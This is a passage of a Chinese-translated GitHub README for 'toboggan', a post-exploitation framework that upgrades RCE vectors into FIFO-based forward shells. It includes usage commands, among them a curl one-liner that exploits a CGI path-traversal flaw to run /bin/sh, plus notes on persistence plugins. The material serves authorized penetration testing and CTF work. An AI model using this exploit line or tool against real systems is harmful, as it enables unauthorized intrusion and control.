n3rada/toboggan
GitHub: n3rada/toboggan
Toboggan 是一个后渗透框架,能将各类 RCE 向量升级为半交互式正向 Shell,专用于传统反向 Shell 难以建立的受限网络环境。
Stars: 14 | Forks: 2
🛝 轻松地从 RCE 进入后渗透阶段。
.io:3128
```
### [BurpSuite](https://portswigger.net/burp)
要通过 Burp Suite 路由流量:
```
toboggan ~/phpexploit.py --proxy
```
你也可以直接导入包含 `||cmd||` 占位符的 Burp 保存的请求:
```
toboggan --request brequest
```
### 包装 shell 命令
如果你真的很懒,你可以直接包装一个 shell 命令:
```
toboggan --exec-wrapper 'curl -s --path-as-is -d "echo Content-Type: text/plain; echo; ||cmd||" "http://192.168.216.188/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"'
```
## 🔍 什么是 RCE Python 模块?
远程代码执行 (RCE) 模块是一个 Python 脚本,它定义了如何将命令发送到远程系统并在其上执行。Toboggan 使用此模块来包装 Web shell、命令注入漏洞和其他 RCE 向量,将它们转换为精简的后渗透 shell 界面。
这适用于:
- **Web shells**(PHP、ASP、JSP 后门)。
- **命令注入** 漏洞。
- **基于 HTTP 的 RCE**(Web 应用程序漏洞利用)。
- **盲命令执行**,输出出现在其他地方(例如,日志文件)。
- **SQL 注入** 结合命令执行(`xp_cmdshell` 等)。
- 任何你可以编写的自定义 RCE 向量。
为了与 Toboggan 兼容,你的模块必须定义一个具有以下确切签名的函数:
```
def execute(command: str, timeout: float) -> str:
"""
Execute a command remotely and return the output.
Args:
command (str): The command to execute.
timeout (float): Execution timeout.
Returns:
str: The command output.
"""
```
Toboggan 将在内部调用此函数来远程执行命令。它在底层使用了 [`modwrap`](https://pypi.org/project/modwrap/)。
### 注意事项
你的 `execute()` 函数必须处理目标系统的所有怪癖。
- 如果需要替换空格字符(例如,用 `${IFS}`),请在函数内部处理。
- 如果需要特殊编码(例如,`base64`、`hex`),请在发送前应用。
- 如果系统回显额外字符或包装输出,请对其进行清理。
- 如果远程接口缓慢或不可靠,请调整超时时间。
目标是让 Toboggan 使用任何任意命令调用你的 `execute()` 函数并获得正确的输出,就像你在 shell 中输入一样。
## 🏗️ Linux Shell 升级:从笨 Shell 到半交互式 Shell
### 用于半交互式 Shell 的命名管道
Toboggan 使用命名管道(FIFO - 先进先出)进行进程间通信,将笨拙的 Web shell 升级为半交互式 shell。这种 forward shell 技术在以下情况下非常有价值:
- 由于防火墙限制,你无法获得 reverse shell
- 目标位于 NAT 或多个代理后面。
- 仅处理基于 HTTP 的 RCE 通道(Web shell、命令注入)。
- 处理不会立即返回输出的盲命令执行(例如,来自日志文件的输出)。
- 你需要一个交互式 shell 而无需打开回连到你机器的连接。
forward shell 在底层使用 `mkfifo`(类似于 mkfifo reverse shell 技术)来创建伪 TTY 体验,即使在严格受限的环境中也是如此。要启用此 shell 升级,请使用 `--fifo` 标志:
```
toboggan ~/phpexploit.py --fifo
```
Toboggan 将创建一个基于 FIFO 的通信通道,允许你以更动态的方式与远程系统交互。这启用了需要 stdin/stdout 通信的交互式命令,例如 `sudo -l`(列出 sudo 权限)以及任何使用 `read` 并期望实时用户输入的自定义应用程序或脚本。
## 🛠️ 自定义动作 (BYOA)
Toboggan 中的动作是模块化插件,允许你扩展其功能。动作可以自动化常见的后渗透任务,例如下载文件、执行脚本或设置持久访问。自定义动作应放置在 `~/.local/share/toboggan/actions`(Linux)或 `%APPDATA%\toboggan\actions`(Windows)中。
## ⚠️ 免责声明
Toboggan 旨在用于合法的渗透测试、Capture The Flag (CTF) 竞赛或其他经授权和符合道德的安全评估。
它是专门为在受控环境中使用而设计的,例如:
- 渗透测试实验室(例如,HackTheBox、OffSec 考试场景)。
- 专为道德黑客和安全研究设计的个人实验室环境。
- 获得客户同意的渗透测试或红队演练。
滥用本项目可能会导致法律诉讼。请负责任地使用此工具,并遵守适用的法律法规。
## ⚖️ 法律声明
严禁在现实环境或未经系统所有者明确许可的情况下对本工具进行任何未经授权的使用,这可能违反法律和道德标准。本工具的创建者和贡献者不对任何滥用或造成的损害负责。
请负责任地、符合道德地使用。始终尊重法律并获得适当的授权。
标签:CISA项目, DNS 反向解析, osquery, Shell升级, Webshell, Webshell管理, 交互式Shell, 后渗透框架, 命令注入, 命令混淆, 正向Shell, 正向Shell生成, 盲注RCE, 管道, 绕过防火墙, 网络安全, 运维安全, 逆向工具, 隐私保护